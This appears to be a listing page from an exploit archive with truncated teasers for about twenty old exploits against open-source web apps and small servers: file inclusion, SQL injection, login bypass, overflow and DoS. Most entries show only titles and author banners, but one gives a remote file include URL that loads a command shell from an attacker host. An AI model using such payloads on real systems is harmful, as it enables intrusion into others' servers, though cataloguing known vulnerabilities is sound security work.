VideoDB <= 2.2.1 (pdf.php) Remote File Include Exploit

1.漏洞分析 php define'FPDF', $config'pdfmodule';//这里可控 define'FPDFFONTPATH', FPDF.'/font/'; requireonce FPDF.'/fpdf.php'; //这里包含漏洞 requireonce './core/functions.php'; requireonce './engines/engines.php'; requireonce './core/VariableStream.class.php'; .... 2.漏洞利用...

snipe gallery Script SQL Injection

No description provided by source. Exploit Title: snipe gallery Script Sql Injection Date: 26/06/2010 Author: dev!l ghost Email: awsatlivedotit Site : www.h00forall.com Script url: http://sourceforge.net/projects/snipegallery/ Version: 3.1.5 Tested on: Windows CVE : :::::::::::::::::::::::::...

PostNuke Module pnEncyclopedia <= 0.2.0 - SQL Injection Vulnerability

No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV90$2008 ----------------------------------------------------------------------------------------- ECHOADV90$2008 PostNuke Module pnEncyclopedia = 0.2.0 id Blind Sql Injection...

phpMyAdmin 3.5.2.2 server_sync.php Backdoor

No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit...

Dark Hart Portal (login.php) Remote File Inclusion Vulnerability

No description provided by source. ------------------------------------------------------------------------------------- Dark Portal login.php Remote File Inclusion Vulnerability ------------------------------------------------------------------------------------- Author: CoBRa21 Mail:...

sitexs cms 0.1.1 (upload/xss) Multiple Vulnerabilities

No description provided by source. =========================================================== SiteXS CMS Upload/XSS Multiple Remote Vulnerabilities =========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground...

php volunteer management 1.0.2 - Multiple Vulnerabilities

No description provided by source. Exploit Title: PHP Volunteer Management 'id' 1.0.2 Multiple Vulnerabilities Date: 04/21/12 Author: G13 Twitter: @g13net Software Site: https://sourceforge.net/projects/phpvolunteer/ Version: 1.0.2 Category: webapp php ToC 0x01 Description 0x02 XSS 0x03 SQL...

Windows Light HTTPD 0.1 - Buffer Overflow

No description provided by source. import urllib2 from time import sleep TitleWindows Light HTTPD v0.1 HTTP GET Buffer Overflow Discovered and Reported24th of April, 2013 Discovered/Exploited ByJacob Holcomb/Gimppy042 Software Vendorhttp://sourceforge.net/projects/lhttpd/?source=navbar...

EHCP <= 0.22.8 - Multiple Remote File Inclusion Vulnerabilities

No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org...

Drake CMS < 0.2.3 ALPHA rev.916Remote File Inclusion Vulnerability

No description provided by source. Coding 4 Fun c4f.pl Drake CMS v0.2.2 ALPHA rev.846 http://drakecms.org ; Class = Remote File Inclusion ; Download = https://sourceforge.net/project/showfiles.php?groupid=166901&packageid=192077&releaseid=420102 ; Found by = GregStar gregstaratc4fdotpl ;...

new advisore stack ver 1.1 - Directory Traversal

No description provided by source. =============================================================================================== L.F.ISTACK version 1.1L.F.I =============================================================================================== Author : R3VANBASTARD Download:...

BNCwi <= 1.04 Local File Inclusion Vulnerability

No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP YmmMMMM MMM YM Discovered by dun \ dunatstrcpy.pl BNCwi = 1.04 Local File Inclusion Vulnerability Script: BNCwi is a Open-Source webinterface for psyBN...

MoME CMS <= 0.8.5 - Remote Login Bypass Exploit

No description provided by source. '/ -.- --------------------oOO------OOo------------------- | MoME CMS = 0.8.5 Remote Login Bypass Exploit | | works only with magicquotesgpc = off | ------------------------------------------------------ ! Discovered: cr4wl3r cr4wl3r!linuxmail.org ! Download:...

phpRAINCHECK <= 1.0.1 - SQL Injection Vulnerability

No description provided by source. phpRAINCHECK = 1.0.1 SQL Injection Vulnerability Author: cr4wl3r cr4wl3r\x40linuxmail\x2Eorg Download: http://sourceforge.net/projects/phpraincheck/files/ PoC: phpRAINCHECKpath/printraincheck.php?id=SQL...

Minerva <= 2.0.8a Build 237 (phpbb_root_path) File Include Vulnerability

No description provided by source. $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ Minerva phpbbrootpath = 2.0.8a Build 237 Remote File Include Vulnerability $$ script site: http://sourceforge.net/projects/minerva/ $$ dork: Powered by Minerva 237 $$...

BandSite CMS <= 1.1.1 (root_path) Remote File Include Vulnerabilities

No description provided by source. --------------------------------------------------------------------------- Grayscale BandSite CMS =rootpath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Te...

Joomla component com_universal Remote File Inclusion Vulnerability exploit

No description provided by source. Joomla component comuniversal = Remote File Inclusion Vulnerability exploit +Software: Joomla component comuniversal UWCMS Universal Web CMS +Version: 1.0.0 +License: http://www.gnu.org/copyleft/gpl.html GNU/GPL +Source: http://uwcms.sourceforge.net +CWE ID : 98...

httpdx 1.5.2 - Remote Pre-Authentication DoS (PoC)

No description provided by source. Title: httpdx v1.5.2 Remote Pre-Authentication DoS PoC crash Found by: loneferret Hat's off to dookie2000ca Discovered on: 06/02/2010 Software link: http://httpdx.sourceforge.net/downloads/ Tested on: Windows XP SP3 Professional Nod to the Exploit-DB Team...

ACal <= 2.2.6 (day.php) Remote File Inclusion Vulnerability

No description provided by source. $$ $ Title: ACal 2.2.6 = Remote File Inclusion $ $$ $ URL: http://acalproj.sourceforge.net/ $ $$ $ Dork: intitle:Login to Calendar $ $$ $ Credits: PiNGuX $ $$ $ Greetz : 0o $ $$ Exploit: http://url/calendarpath/embed/day.php?path=http://yourhost/cmd.gif?cmd=ls...

interact <= 2.2 (CONFIG[BASE_PATH]) Remote File Include Vulnerability

No description provided by source. !/usr/bin/env python coding: utf-8 import re from pocsuite.net import req from pocsuite.poc import Output, POCBase from pocsuite.utils import register class interactRemoteFileIncludePOCBase: vulID = '63658' version = '1' vulDate = '2006-08-19' author = ' '...